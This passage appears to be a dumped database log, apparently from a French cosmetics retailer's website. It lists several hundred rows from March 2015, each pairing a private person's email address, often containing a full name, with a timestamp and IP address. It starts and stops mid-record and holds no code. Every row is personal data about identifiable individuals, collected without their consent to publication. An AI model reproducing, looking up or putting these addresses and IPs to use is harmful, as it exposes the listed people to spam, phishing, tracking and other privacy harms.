+6810;muriel.bacchin@gmail.com;2015-03-24 19:26:09;176.184.60.34 +6811;m.bacchin@cegetel.net;2015-03-24 19:26:24;176.184.60.34 +6812;m.bacchin@cegetel.net;2015-03-24 19:26:24;176.184.60.34 +6813;celine.boulanger@cgpentreprises.fr;2015-03-24 19:45:05;89.93.153.215 +6814;aurore.jean@ymail.com;2015-03-24 19:48:58;90.11.152.95 +6815;aurore.jean@ymail.com;2015-03-24 19:49:12;90.11.152.95 +6816;aurore.jean@ymail.com;2015-03-24 19:49:16;90.11.152.95 +6817;aurore.jean@ymail.com;2015-03-24 19:49:26;90.11.152.95 +6818;anne-marie.dalix@orange.fr;2015-03-24 19:52:18;90.60.79.239 +6819;audreymajch@aol.com;2015-03-24 20:09:13;78.237.201.30 +6820;c.etelain@gmail.com;2015-03-24 20:18:00;90.16.130.166 +6821;c.etelain@gmail.com;2015-03-24 20:18:32;90.16.130.166 +6822;c.etelain@gmail.com;2015-03-24 20:19:13;90.16.130.166 +6823;catherine.salle2@wanadoo.fr;2015-03-24 20:27:37;2.9.127.79 +6824;catherine.salle2@wanadoo.fr;2015-03-24 20:27:43;2.9.127.79 +6825;catherine.salle2@wanadoo.fr;2015-03-24 20:27:55;2.9.127.79 +6826;laurence.lecocq@laposte.net;2015-03-24 20:29:41;81.65.75.77 +6827;new@garancia.com;2015-03-24 20:31:05;86.69.120.206 +6828;maricka.s@hotmail.fr;2015-03-24 20:32:26;78.192.161.123 +6829;maricka.s@hotmail.fr;2015-03-24 20:32:29;78.192.161.123 +6830;maricka.s@hotmail.fr;2015-03-24 20:32:38;78.192.161.123 +6831;new@garancia.com;2015-03-24 20:33:00;86.69.120.206 +6832;new@garancia.com;2015-03-24 20:33:03;86.69.120.206 +6833;new@garancia.com;2015-03-24 20:33:19;86.69.120.206 +6834;new@garancia.com;2015-03-24 20:33:29;86.69.120.206 +6835;new@garancia.com;2015-03-24 20:33:29;86.69.120.206 +6836;new@garancia.com;2015-03-24 20:33:32;86.69.120.206 +6837;new@garancia.com;2015-03-24 20:34:11;86.69.120.206 +6838;nicoemil59@hotmail.com;2015-03-24 20:42:38;88.167.143.210 +6839;nicoemil59@hotmail.com;2015-03-24 20:42:43;88.167.143.210 +6840;nicoemil59@hotmail.com;2015-03-24 20:42:51;88.167.143.210 +6841;new@garancia.com;2015-03-24 20:44:32;86.69.120.206 +6842;emiliebernard20@gmail.com;2015-03-24 20:47:26;80.12.55.160 +6843;emiliebernard20@gmail.com;2015-03-24 20:47:36;80.12.55.160 +6844;emiliebernard20@gmail.com;2015-03-24 20:47:48;80.12.55.160 +6845;emiliebernard20@gmail.com;2015-03-24 20:48:24;80.12.55.160 +6846;emiliebernard20@gmail.com;2015-03-24 20:48:38;80.12.55.160 +6847;lilasoni@hotmail.fr;2015-03-24 20:59:06;92.90.20.41 +6848;lilasoni@hotmail.fr;2015-03-24 20:59:13;92.90.20.41 +6849;lilasoni@hotmail.fr;2015-03-24 20:59:26;92.90.20.41 +6850;lilasoni@hotmail.fr;2015-03-24 21:00:10;92.90.20.41 +6851;lilasoni@hotmail.fr;2015-03-24 21:00:13;92.90.20.41 +6852;francine.doche@bbox.fr;2015-03-24 21:06:10;176.181.199.54 +6853;soumia.talib@live.fr;2015-03-24 21:26:48;77.195.91.56 +6854;s.vernochet@free.fr;2015-03-24 21:28:06;88.187.158.228 +6855;s.vernochet@free.fr;2015-03-24 21:30:43;88.187.158.228 +6856;va.ne.ss.a@hotmail.fr;2015-03-24 21:54:20;88.173.203.192 +6857;astrid.pois@orange.fr;2015-03-24 22:12:34;90.24.112.143 +6858;astrid.pois@orange.fr;2015-03-24 22:12:41;90.24.112.143 +6859;astrid.pois@orange.fr;2015-03-24 22:12:52;90.24.112.143 +6860;astrid.pois@orange.fr;2015-03-24 22:13:11;90.24.112.143 +6861;astrid.pois@orange.fr;2015-03-24 22:13:42;90.24.112.143 +6862;estelle.evain@gmail.com;2015-03-24 22:18:09;5.49.224.79 +6863;ljdezeure@gmail.com;2015-03-24 22:27:08;80.119.53.146 +6864;ljdezeure@gmail.com;2015-03-24 22:27:15;80.119.53.146 +6865;cecile.houchois@gmail.com;2015-03-24 22:30:01;90.2.146.91 +6866;nrombach@gmail.com;2015-03-24 22:36:35;91.64.198.203 +6867;nena65@hotmail.fr;2015-03-24 22:37:53;2.6.109.37 +6868;nena65@hotmail.fr;2015-03-24 22:37:58;2.6.109.37 +6869;nena65@hotmail.fr;2015-03-24 22:38:25;2.6.109.37 +6870;flomaitre09@gmail.com;2015-03-24 22:45:53;78.231.82.180 +6871;flomaitre09@gmail.com;2015-03-24 22:46:10;78.231.82.180 +6872;flomaitre09@gmail.com;2015-03-24 22:48:52;78.231.82.180 +6873;stephmaz28@yahoo.fr;2015-03-24 22:50:52;78.208.169.112 +6874;stephmaz28@yahoo.fr;2015-03-24 22:50:57;78.208.169.112 +6875;stephmaz28@yahoo.fr;2015-03-24 22:51:00;78.208.169.112 +6876;stephmaz28@yahoo.fr;2015-03-24 22:51:04;78.208.169.112 +6877;stephmaz28@yahoo.fr;2015-03-24 22:51:25;78.208.169.112 +6878;stephmaz28@yahoo.fr;2015-03-24 22:52:21;78.208.169.112 +6879;fouquei@hotmail.fr;2015-03-24 22:55:04;88.189.125.146 +6880;isabelle.goarin@gmail.com;2015-03-24 23:05:39;82.124.145.232 +6881;valerie.rosquet@gmail.com;2015-03-24 23:05:54;82.228.136.221 +6882;valerie.rosquet@gmail.com;2015-03-24 23:06:00;82.228.136.221 +6883;valerie.rosquet@gmail.com;2015-03-24 23:06:12;82.228.136.221 +6884;casenmoins@hotmail.com;2015-03-24 23:10:00;78.112.110.243 +6885;casenmoins@hotmail.com;2015-03-24 23:10:15;78.112.110.243 +6886;casenmoins@hotmail.com;2015-03-24 23:10:39;78.112.110.243 +6887;laureduqueyroix@hotmail.fr;2015-03-24 23:13:34;90.46.76.250 +6888;aurelia.brennetot@gmail.com;2015-03-24 23:19:17;92.132.27.189 +6889;aurelia.brennetot@gmail.com;2015-03-24 23:19:20;92.132.27.189 +6890;aurelia.brennetot@gmail.com;2015-03-24 23:19:43;92.132.27.189 +6891;leclercaurelya@gmail.com;2015-03-24 23:19:57;92.132.27.189 +6892;brennetot.aurelia@orange.fr;2015-03-24 23:20:18;92.132.27.189 +6893;brennetot.aurelia@orange.fr;2015-03-24 23:20:42;92.132.27.189 +6894;laurencelagetleroy@gmail.com;2015-03-24 23:24:22;82.124.95.50 +6895;t@brm.edi;2015-03-24 23:42:06;86.212.17.159 +6896;t@hotmail.com;2015-03-24 23:42:17;86.212.17.159 +6897;t@hotmail.com;2015-03-24 23:42:19;86.212.17.159 +6898;t@hotmail.com;2015-03-24 23:42:23;86.212.17.159 +6899;juptite@hotmail.com;2015-03-24 23:42:34;86.212.17.159 +6900;juptite@hotmail.com;2015-03-24 23:42:37;86.212.17.159 +6901;claire.hamburger@gmail.com;2015-03-24 23:44:21;83.141.182.204 +6902;vendax75@gmail.com;2015-03-24 23:50:57;176.182.102.86 +6903;vendax75@gmail.com;2015-03-24 23:50:57;176.182.102.86 +6904;visineamandine@gmail.com;2015-03-24 23:52:13;77.129.89.12 +6905;visineamandine@gmail.com;2015-03-24 23:52:17;77.129.89.12 +6906;visineamandine@gmail.com;2015-03-24 23:52:33;77.129.89.12 +6907;visineamandine@gmail.com;2015-03-24 23:52:55;77.129.89.12 +6908;visineamandine@gmail.com;2015-03-24 23:52:56;77.129.89.12 +6909;visineamandine@gmail.com;2015-03-24 23:53:09;77.129.89.12 +6910;trabelsisonia@hotmail.fr;2015-03-25 00:13:36;88.166.236.206 +6911;juliette.scherer@gmail.com;2015-03-25 00:19:05;217.200.202.31 +6912;juliette.scherer@gmail.com;2015-03-25 00:19:13;217.200.202.31 +6913;new@garancia.com;2015-03-25 00:21:37;217.200.202.31 +6914;jackie.tod@gmail.com;2015-03-25 00:42:19;110.74.222.225 +6915;jackie.tod@gmail.com;2015-03-25 00:42:24;110.74.222.225 +6916;jackie.tod@gmail.com;2015-03-25 00:42:25;110.74.222.225 +6917;jackie.tod@gmail.com;2015-03-25 00:42:42;110.74.222.225 +6918;jackie.tod@gmail.com;2015-03-25 00:42:46;110.74.222.225 +6919;jackie.tod@gmail.com;2015-03-25 00:43:00;110.74.222.225 +6920;boucharebsarah@hotmail.fr;2015-03-25 00:46:33;90.48.81.58 +6921;boucharebsarah@hotmail.fr;2015-03-25 00:46:41;90.48.81.58 +6922;illidgy@mls.nc;2015-03-25 01:03:07;118.179.248.160 +6923;severkryss@hotmail.com;2015-03-25 02:03:36;82.226.3.159 +6924;severkryss@hotmail.com;2015-03-25 02:03:42;82.226.3.159 +6925;severkryss@hotmail.com;2015-03-25 02:03:57;82.226.3.159 +6926;severkryss@hotmail.com;2015-03-25 02:04:10;82.226.3.159 +6927;severkryss@hotmail.com;2015-03-25 02:04:26;82.226.3.159 +6928;gghjolgtke@hotmail.com;2015-03-25 02:04:32;82.242.43.95 +6929;aurelie.saquet@wanadoo.fr;2015-03-25 04:44:44;90.60.20.102 +6930;aurelie.saquet@wanadoo.fr;2015-03-25 04:44:55;90.60.20.102 +6931;aurelie.saquet@wanadoo.fr;2015-03-25 04:44:56;90.60.20.102 +6932;aurelie.saquet@wanadoo.fr;2015-03-25 04:45:00;90.60.20.102 +6933;aurelie.saquet@wanado.fr;2015-03-25 04:45:19;90.60.20.102 +6934;aurelie.saquet@wanadoo.fr;2015-03-25 04:45:31;90.60.20.102 +6935;aurelie.saquet@wanadoo.fr;2015-03-25 04:45:38;90.60.20.102 +6936;mlwinterer@hotmail.fr;2015-03-25 05:27:39;86.217.13.49 +6937;mlwinterer@hotmail.fr;2015-03-25 05:27:43;86.217.13.49 +6938;harispe@Wanadoo.fr;2015-03-25 06:03:23;90.11.143.129 +6939;harispe@Wanadoo.fr;2015-03-25 06:03:27;90.11.143.129 +6940;harispe@Wanadoo.fr;2015-03-25 06:03:29;90.11.143.129 +6941;harispe@wanadoo.fr;2015-03-25 06:03:44;90.11.143.129 +6942;harispe@wanadoo.fr;2015-03-25 06:03:48;90.11.143.129 +6943;fanfan_78@hotmail.fr;2015-03-25 06:28:28;220.156.162.219 +6944;helene.touret@orange.fr;2015-03-25 07:35:43;92.151.68.206 +6945;helene.touret@orange.fr;2015-03-25 07:35:45;92.151.68.206 +6946;helene.touret@orange.fr;2015-03-25 07:35:48;92.151.68.206 +6947;helene.touret@orange.fr;2015-03-25 07:35:49;92.151.68.206 +6948;helene.touret@orange.fr;2015-03-25 07:35:56;92.151.68.206 +6949;hxjzxh@fjs.com;2015-03-25 07:39:34;81.253.77.4 +6950;apolline05@gmail.com;2015-03-25 07:40:46;81.253.77.4 +6951;yjin@iwu.edu;2015-03-25 07:45:37;198.178.132.247 +6952;yjin@iwu.edu;2015-03-25 07:45:42;198.178.132.247 +6953;yjin@iwu.edu;2015-03-25 07:45:51;198.178.132.247 +6954;862729207@qq.com;2015-03-25 07:46:14;198.178.132.247 +6955;59miza@gmail.com;2015-03-25 08:06:50;2.1.156.228 +6956;59miza@gmail.com;2015-03-25 08:08:12;2.1.156.228 +6957;cholet.lucile@bbox.fr;2015-03-25 08:52:14;89.95.87.37 +6958;cholet.lucile@bbox.fr;2015-03-25 08:52:19;89.95.87.37 +6959;cholet.lucile@bbox.fr;2015-03-25 08:52:24;89.95.87.37 +6960;cholet.lucile@bbox.fr;2015-03-25 08:52:34;89.95.87.37 +6961;mvasseur@bluewin.ch;2015-03-25 08:53:53;85.218.52.42 +6962;mvasseur@bluewin.ch;2015-03-25 08:53:58;85.218.52.42 +6963;aenora.rouault@gmail.com;2015-03-25 08:59:12;92.90.20.43 +6964;aenora.rouault@gmail.com;2015-03-25 08:59:20;92.90.20.43 +6965;micadan34@hotmail.com;2015-03-25 09:10:53;88.164.71.162 +6966;micadan34@hotmail.com;2015-03-25 09:11:03;88.164.71.162 +6967;micadan34@hotmail.com;2015-03-25 09:12:40;88.164.71.162 +6968;lynamiss36@gmail.com;2015-03-25 09:21:57;41.107.150.48 +6969;lynamiss36@gmail.com;2015-03-25 09:21:57;41.107.150.48 +6970;lauracora@libero.it;2015-03-25 09:22:49;87.8.168.21 +6971;joss.chatelain@sunrise.ch;2015-03-25 09:24:52;188.155.120.95 +6972;solange.irigoyen@gmail.com;2015-03-25 09:32:14;77.152.225.176 +6973;solange.irigoyen@gmail.com;2015-03-25 09:32:15;77.152.225.176 +6974;desiresylvie@wanadoo.fr;2015-03-25 09:35:45;90.16.138.124 +6975;desiresylvie@wanadoo.fr;2015-03-25 09:35:49;90.16.138.124 +6976;nadialafa@yahoo.fr;2015-03-25 09:59:02;88.120.142.202 +6977;camcam.delescluse@gmail.com;2015-03-25 10:04:40;185.75.124.71 +6978;zinebabenkcer@yahoo.fr;2015-03-25 10:17:23;109.190.87.70 +6979;miaow14@gmail.com;2015-03-25 10:22:05;157.136.87.203 +6980;csiham@hotmail.fr;2015-03-25 10:58:22;82.245.42.158 +6981;csiham@hotmail.fr;2015-03-25 10:58:26;82.245.42.158 +6982;csiham@hotmail.fr;2015-03-25 10:58:34;82.245.42.158 +6983;csiham@hotmail.fr;2015-03-25 10:59:06;82.245.42.158 +6984;siham.tagaa@gmail.com;2015-03-25 10:59:42;82.245.42.158 +6985;siham.tagaa@gmail.com;2015-03-25 11:00:39;82.245.42.158 +6986;bezeault.manuela@orange.fr;2015-03-25 11:04:16;194.206.89.222 +6987;claris.melanie@gmail.com;2015-03-25 11:12:09;84.254.187.221 +6988;claris.melanie@gmail.com;2015-03-25 11:12:15;84.254.187.221 +6989;sibaa@hotmail.fr;2015-03-25 11:14:50;88.120.136.78 +6990;a-sophie.pichard@hotmail.fr;2015-03-25 11:17:22;109.6.229.31 +6991;arlette.muchart@wanadoo.fr;2015-03-25 11:26:04;90.50.62.236 +6992;kirby_do-do@hotmail.Fr;2015-03-25 11:27:05;195.25.70.209 +6993;an-lypellerin@wanadoo.fr;2015-03-25 11:33:38;92.151.61.148 +6994;mariepoussinet@gmail.com;2015-03-25 11:42:11;84.55.171.80 +6995;arlette.muchart@wanadoo.fr;2015-03-25 11:43:51;90.50.62.236 +6996;nathaliemj.lafont@hotmail.be;2015-03-25 11:52:52;194.78.163.162 +6997;cholet.lucile@bbox.fr;2015-03-25 11:58:47;89.95.87.37 +6998;mariechristinereposi@gmail.com;2015-03-25 12:04:28;109.31.21.252 +6999;mariechristinereposi@gmail.com;2015-03-25 12:04:32;109.31.21.252 +7000;mariechristinereposi@gmail.com;2015-03-25 12:04:34;109.31.21.252 +7001;mariechristinereposi@gmail.com;2015-03-25 12:04:36;109.31.21.252 +7002;mariechristinereposi@gmail.com;2015-03-25 12:04:38;109.31.21.252 +7003;mariechristinereposi@gmail.com;2015-03-25 12:04:40;109.31.21.252 +7004;muriel.boissie@sfr.fr;2015-03-25 12:06:20;109.31.90.31 +7005;muriel.boissie@sfr.fr;2015-03-25 12:06:34;109.31.90.31 +7006;elisa81@wanadoo.fr;2015-03-25 12:45:27;83.201.12.118 +7007;roxane.brugiroux@neuf.fr;2015-03-25 12:54:20;92.133.244.81 +7008;dommarion@wanadoo.fr;2015-03-25 12:57:35;92.136.51.245 +7009;dommarion@wanadoo.fr;2015-03-25 12:57:41;92.136.51.245 +7010;eicherclaudine@msn.com;2015-03-25 12:59:35;83.194.97.31 +7011;clauzier.patricia@akeonet.com;2015-03-25 13:02:33;84.6.59.156 +7012;clauzier.patricia@akeonet.com;2015-03-25 13:02:52;84.6.59.156 +7013;sandrine.polak@free.fr;2015-03-25 13:12:41;92.90.17.41 +7014;sandrine.polak@free.fr;2015-03-25 13:12:47;92.90.17.41 +7015;charlotte.poncelet@yahoo.fr;2015-03-25 13:21:42;77.133.216.65 +7016;charlotte.poncelet@yahoo.fr;2015-03-25 13:21:44;77.133.216.65 +7017;charlotte.poncelet@yahoo.fr;2015-03-25 13:22:12;77.133.216.65 +7018;charlotte.poncelet@yahoo.fr;2015-03-25 13:22:45;77.133.216.65 +7019;charlotte.poncelet@yahoo.fr;2015-03-25 13:22:54;77.133.216.65 +7020;new@garancia.com;2015-03-25 13:23:39;77.133.216.65 +7021;marie.sophie.tekian@gmail.com;2015-03-25 13:29:00;92.90.21.46 +7022;maudberard@hotmail.com;2015-03-25 13:45:06;90.4.165.182 +7023;maudberard@hotmail.com;2015-03-25 13:45:12;90.4.165.182 +7024;carole.morandi@orange.fr;2015-03-25 13:46:18;90.61.136.14 +7025;begoc-caroline@hotmail.fr;2015-03-25 13:53:05;78.223.33.190 +7026;begoc-caroline@hotmail.fr;2015-03-25 13:53:24;78.223.33.190 +7027;ngaldea@hotmail.com;2015-03-25 14:05:14;195.57.114.75 +7028;julia.vanwelij@sfr.fr;2015-03-25 14:07:03;86.73.9.205 +7029;julia.vanwelij@sfr.fr;2015-03-25 14:07:07;86.73.9.205 +7030;presle.sylvie@orange.fr;2015-03-25 14:07:47;90.29.18.37 +7031;christon.labbe@yahoo.fr;2015-03-25 14:50:46;88.184.121.89 +7032;katie-hilaire@orange.fr;2015-03-25 14:54:13;2.3.120.221 +7033;alain.bon@sfr.fr;2015-03-25 14:57:21;92.91.182.43 +7034;r.osa@laposte.net;2015-03-25 14:57:44;82.233.7.13 +7035;r.osa@laposte.net;2015-03-25 14:57:48;82.233.7.13 +7036;new@garancia.com;2015-03-25 15:05:54;81.249.95.42 +7037;new@garancia.com;2015-03-25 15:05:59;81.249.95.42 +7038;new@garancia.com;2015-03-25 15:06:04;81.249.95.42 +7039;dorotheelemaire@gmail.com;2015-03-25 15:06:59;81.65.201.216 +7040;dorotheelemaire@gmail.com;2015-03-25 15:07:02;81.65.201.216 +7041;dorotheelemaire@gmail.com;2015-03-25 15:07:05;81.65.201.216 +7042;dorotheelemaire@gmail.com;2015-03-25 15:07:07;81.65.201.216 +7043;new@garancia.com;2015-03-25 15:24:06;92.90.26.112 +7044;new@garancia.com;2015-03-25 15:24:10;92.90.26.112 +7045;lenaic5635@gmail.com;2015-03-25 15:25:59;92.90.26.112 +7046;dnhr@neuf.fr;2015-03-25 15:26:06;86.71.15.244 +7047;lenaic5635@gmail.com;2015-03-25 15:26:21;92.90.26.112 +7048;new@garancia.com;2015-03-25 15:26:35;92.90.26.112 +7049;lenaic5635@gmail.com;2015-03-25 15:37:20;92.90.26.112 +7050;lenaic5635@gmail.com;2015-03-25 15:37:52;92.90.26.112 +7051;new@garancia.com;2015-03-25 15:37:55;92.90.26.112 +7052;new@garancia.com;2015-03-25 15:37:59;92.90.26.112 +7053;new@garancia.com;2015-03-25 15:38:27;92.90.26.112 +7054;sanmah48@gmail.com;2015-03-25 15:39:26;85.169.94.192 +7055;sanmah48@gmail.com;2015-03-25 15:39:29;85.169.94.192 +7056;sanmah48@gmail.com;2015-03-25 15:39:35;85.169.94.192 +7057;lenaic5635@gmail.com;2015-03-25 15:41:41;92.90.26.112 +7058;new@garancia.com;2015-03-25 15:41:51;92.90.26.112 +7059;new@garancia.com;2015-03-25 15:41:53;92.90.26.112 +7060;mariamolina@orange.fr;2015-03-25 15:50:19;90.4.30.44 +7061;coraline.davis@live.fr;2015-03-25 16:01:24;84.5.195.33 +7062;sabrinacluzel@orange.fr;2015-03-25 16:11:35;86.194.243.135 +7063;joangie@hotmail.com;2015-03-25 16:11:38;37.160.215.8 +7064;joangie@hotmail.com;2015-03-25 16:11:44;37.160.215.8 +7065;joangie@hotmail.com;2015-03-25 16:11:51;37.160.215.8 +7066;brights2012@gmail.com;2015-03-25 16:18:47;90.46.252.105 +7067;magali.lelievre@free.fr;2015-03-25 16:21:06;78.226.190.117 +7068;droupix@hotmail.fr;2015-03-25 16:24:22;88.182.73.82 +7069;rigault.annick@orange.fr;2015-03-25 16:25:04;90.96.51.255 +7070;magdalena.geoffroy@orange.fr;2015-03-25 16:25:34;88.187.159.32 +7071;carrieremanon1@gmail.com;2015-03-25 16:46:41;82.224.6.17 +7072;audemma@wanadol.fr;2015-03-25 16:49:54;90.44.246.135 +7073;audemma@wanadol.fr;2015-03-25 16:49:55;90.44.246.135 +7074;audemma@wanadol.fr;2015-03-25 16:49:58;90.44.246.135 +7075;audemma@wanadol.fr;2015-03-25 16:50:02;90.44.246.135 +7076;audemma@wanadol.fr;2015-03-25 16:50:28;90.44.246.135 +7077;boileau.severine@orange.fr;2015-03-25 16:57:06;109.223.112.80 +7078;boileau.severine@orange.fr;2015-03-25 16:57:23;109.223.112.80 +7079;boileau.severine@orange.fr;2015-03-25 16:57:31;109.223.112.80 +7080;dominique.douris@orange.fr;2015-03-25 17:05:03;86.194.87.72 +7081;Kaefferml@free.fr;2015-03-25 17:08:05;88.187.50.252 +7082;cb_6@hotmail.com;2015-03-25 17:27:16;92.91.165.106 +7083;cb_6@hotmail.com;2015-03-25 17:27:20;92.91.165.106 +7084;cb_6@hotmail.com;2015-03-25 17:27:28;92.91.165.106 +7085;cb_6@hotmail.com;2015-03-25 17:27:36;92.91.165.106 +7086;irkafeline@hotmail.fr;2015-03-25 17:28:32;92.148.89.221 +7087;irkafeline@hotmail.fr;2015-03-25 17:28:38;92.148.89.221 +7088;irkafeline@hotmail.fr;2015-03-25 17:28:50;92.148.89.221 +7089;valverguet@orange.fr;2015-03-25 17:39:21;92.138.204.83 +7090;talyindiana@gmail.com;2015-03-25 17:44:08;87.89.247.217 +7091;talyindiana@gmail.com;2015-03-25 17:44:14;87.89.247.217 +7092;vdalex@club-internet.fr;2015-03-25 17:47:43;93.4.122.131 +7093;melanie.le.corre@orange.fr;2015-03-25 17:56:01;77.200.171.112 +7094;nathalie_buret@sfr.fr;2015-03-25 18:22:49;86.71.135.121 +7095;cathy.taylor@sfr.fr;2015-03-25 18:30:02;86.70.34.244 +7096;jacques.laguerre@neuf.fr;2015-03-25 18:31:48;77.195.110.49 +7097;mahmoudi_nab@yahoo.fr;2015-03-25 18:36:46;78.250.127.156 +7098;terrienk@ymail.com;2015-03-25 18:52:14;80.215.163.8 +7099;terrienk@ymail.com;2015-03-25 18:52:23;80.215.163.8 +7100;terrienk@ymail.com;2015-03-25 18:52:25;80.215.163.8 +7101;terrienk@ymail.com;2015-03-25 18:52:26;80.215.163.8 +7102;terrienk@ymail.com;2015-03-25 18:52:36;80.215.163.8 +7103;terrienk@ymail.fr;2015-03-25 18:52:49;80.215.163.8 +7104;vintrou.genevieve@orange.fr;2015-03-25 19:01:57;90.16.160.187 +7105;jouventalain@gmail.com;2015-03-25 19:32:27;91.194.98.45 +7106;allisson6lk@gmail.com;2015-03-25 20:09:46;82.237.89.245 +7107;sandra.marsy@sfr.fr;2015-03-25 20:16:11;77.144.169.15 +7108;singh.baljinder@neuf.fr;2015-03-25 20:21:08;176.185.32.199 +7109;singh.baljinder@neuf.fr;2015-03-25 20:21:19;176.185.32.199 +7110;singh.baljinder@neuf.fr;2015-03-25 20:21:22;176.185.32.199 +7111;singh.baljinder@neuf.fr;2015-03-25 20:21:38;176.185.32.199 +7112;singh.baljinder@neuf.fr;2015-03-25 20:21:42;176.185.32.199 +7113;florencegauthiot@hotmail.fr;2015-03-25 20:38:31;92.90.231.153 +7114;florencegauthiot@hotmail.fr;2015-03-25 20:38:57;92.90.231.153 +7115;florencegauthiot@hotmail.fr;2015-03-25 20:38:57;92.90.231.153 +7116;florencegauthiot@hotmail.fr;2015-03-25 20:39:08;92.90.231.153 +7117;florencegauthiot@hotmail.fr;2015-03-25 20:39:12;92.90.231.153 +7118;cline56100@hotmail.fr;2015-03-25 20:48:18;89.83.141.154 +7119;s.rouzies@orange.fr;2015-03-25 20:55:13;109.222.71.224 +7120;paulineetmarylou@hotmail.fr;2015-03-25 20:56:41;37.161.150.255 +7121;paulineetmarylou@hotmail.fr;2015-03-25 20:57:01;37.161.150.255 +7122;paulineetmarylou@hotmail.fr;2015-03-25 20:57:01;37.161.150.255 +7123;paulineetmarylou@hotmail.fr;2015-03-25 20:57:02;37.161.150.255 +7124;cuvillier.celine@gmail.com;2015-03-25 21:01:44;154.44.177.196 +7125;eve15@live.fr;2015-03-25 21:06:20;80.215.178.195 +7126;ansop2@wanadoo.fr;2015-03-25 21:12:09;90.1.55.89 +7127;ansop2@wanadoo.fr;2015-03-25 21:12:12;90.1.55.89 +7128;ansop2@wanadoo.fr;2015-03-25 21:12:14;90.1.55.89 +7129;isabelle.barale@wanadoo.fr;2015-03-25 21:14:16;86.211.206.15 +7130;isabelle.barale@wanadoo.fr;2015-03-25 21:14:35;86.211.206.15 +7131;isabelle.barale@wanadoo.fr;2015-03-25 21:14:45;86.211.206.15 +7132;new@garancia.com;2015-03-25 21:21:12;90.1.55.89 +7133;new@garancia.com;2015-03-25 21:21:15;90.1.55.89 +7134;nafisayahiaoui@yahoo.fr;2015-03-25 21:34:51;83.152.218.6 +7135;nafisayahiaoui@yahoo.fr;2015-03-25 21:36:05;83.152.218.6 +7136;j.alexandre31620@gmail.com;2015-03-25 21:40:24;109.223.39.155 +7137;j.alexandre31620@gmail.com;2015-03-25 21:40:28;109.223.39.155 +7138;j.alexandre31620@gmail.com;2015-03-25 21:40:36;109.223.39.155 +7139;j.alexandre31620@gmail.com;2015-03-25 21:40:39;109.223.39.155 +7140;rebbas74@hotmail.fr;2015-03-25 21:48:35;88.160.239.193 +7141;dominique.segarra@neuf.fr;2015-03-25 21:49:33;88.142.187.226 +7142;monikaeve@yahoo.fr;2015-03-25 21:51:32;87.143.80.131 +7143;monikaeve@yahoo.fr;2015-03-25 21:51:44;87.143.80.131 +7144;monikaeve@yahoo.fr;2015-03-25 21:51:53;87.143.80.131 +7145;joellelaboure@orange.fr;2015-03-25 21:57:14;81.49.157.223 +7146;joellelaboure@orange.fr;2015-03-25 21:57:19;81.49.157.223 +7147;joellelaboure@orange.fr;2015-03-25 21:57:26;81.49.157.223 +7148;sandra.pointfer@gmail.com;2015-03-25 22:08:46;88.163.247.158 +7149;sandra.pointfer@gmail.com;2015-03-25 22:08:52;88.163.247.158 +7150;sandra.pointfer@gmail.com;2015-03-25 22:09:07;88.163.247.158 +7151;nathalie.clery@orange.fr;2015-03-25 22:15:01;82.123.130.224 +7152;cathy.chambonnet@libertysurf.fr;2015-03-25 22:19:37;83.158.4.80 +7153;c.jassogne@gmail.com;2015-03-25 22:24:10;83.193.174.190 +7154;c.jassogne@gmail.com;2015-03-25 22:24:23;83.193.174.190 +7155;l.ea.h@hotmail.fr;2015-03-25 22:40:01;95.170.9.63 +7156;nad21l@yahoo.fr;2015-03-25 22:59:23;88.174.124.145 +7157;nad21l@yahoo.fr;2015-03-25 22:59:28;88.174.124.145 +7158;nad21l@yahoo.fr;2015-03-25 22:59:39;88.174.124.145 +7159;nad21l@yahoo.fr;2015-03-25 22:59:42;88.174.124.145 +7160;nad21l@yahoo.fr;2015-03-25 22:59:48;88.174.124.145 +7161;letellier.laetitia1@gmail.com;2015-03-25 23:00:12;88.171.251.152 +7162;letellier.laetitia1@gmail.com;2015-03-25 23:00:19;88.171.251.152 +7163;letellier.laetitia1@gmail.com;2015-03-25 23:00:28;88.171.251.152 +7164;gravet.stephanie@gmail.com;2015-03-25 23:37:08;88.174.89.218 +7165;gravet.stephanie@gmail.com;2015-03-25 23:37:17;88.174.89.218 +7166;sophieleclerc@me.com;2015-03-25 23:45:52;82.239.58.48 +7167;julie.raimann@gmail.com;2015-03-25 23:51:29;92.137.172.188 +7168;julie.raimann@gmail.com;2015-03-25 23:51:37;92.137.172.188 +7169;julie.raimann@gmail.com;2015-03-25 23:51:54;92.137.172.188 +7170;julie.raimann@gmail.com;2015-03-25 23:51:56;92.137.172.188 +7171;sabinedu13@hotmail.fr;2015-03-26 00:16:44;90.8.126.107 +7172;linyuyan_lyy@hotmail.com;2015-03-26 00:24:07;89.89.74.80 +7173;anni-cl.payet0647@laposte.net;2015-03-26 06:40:30;154.67.36.180 +7174;msbourgeno@wanadoo.fr;2015-03-26 06:46:41;90.61.78.16 +7175;msbourgeno@wanadoo.fr;2015-03-26 06:46:43;90.61.78.16 +7176;msbourgeno@wanadoo.fr;2015-03-26 06:46:50;90.61.78.16 +7177;tomberenge@orange.fr;2015-03-26 07:17:58;90.19.119.141 +7178;tomberenge@orange.fr;2015-03-26 07:18:08;90.19.119.141 +7179;cdm89000@yahoo.fr;2015-03-26 07:23:30;82.241.193.177 +7180;cdm89000@yahoo.fr;2015-03-26 07:23:33;82.241.193.177 +7181;cdm89000@yahoo.fr;2015-03-26 07:23:44;82.241.193.177 +7182;new@garancia.com;2015-03-26 07:59:32;80.215.195.177 +7183;new@garancia.com;2015-03-26 07:59:39;80.215.195.177 +7184;new@garancia.com;2015-03-26 07:59:53;80.215.195.177 +7185;new@garancia.com;2015-03-26 08:00:39;80.215.195.177 +7186;new@garancia.com;2015-03-26 08:00:48;80.215.195.177 +7187;new@garancia.com;2015-03-26 08:01:30;80.215.195.177 +7188;new@garancia.com;2015-03-26 08:01:40;80.215.195.177 +7189;new@garancia.com;2015-03-26 08:01:48;80.215.195.177 +7190;new@garancia.com;2015-03-26 08:01:51;80.215.195.177 +7191;new@garancia.com;2015-03-26 08:01:53;80.215.195.177 +7192;new@garancia.com;2015-03-26 08:03:37;80.215.195.177 +7193;new@garancia.com;2015-03-26 08:03:56;80.215.195.177 +7194;new@garancia.com;2015-03-26 08:03:59;80.215.195.177 +7195;new@garancia.com;2015-03-26 08:05:34;80.215.195.177 +7196;new@garancia.com;2015-03-26 08:05:37;80.215.195.177 +7197;new@garancia.com;2015-03-26 08:05:51;80.215.195.177 +7198;cthiabaud@orange.fr;2015-03-26 08:06:00;90.52.158.130 +7199;new@garancia.com;2015-03-26 08:06:44;80.215.195.177 +7200;michele.gapail@gmail.com;2015-03-26 08:23:34;84.100.178.46 +7201;michele.gapail@gmail.com;2015-03-26 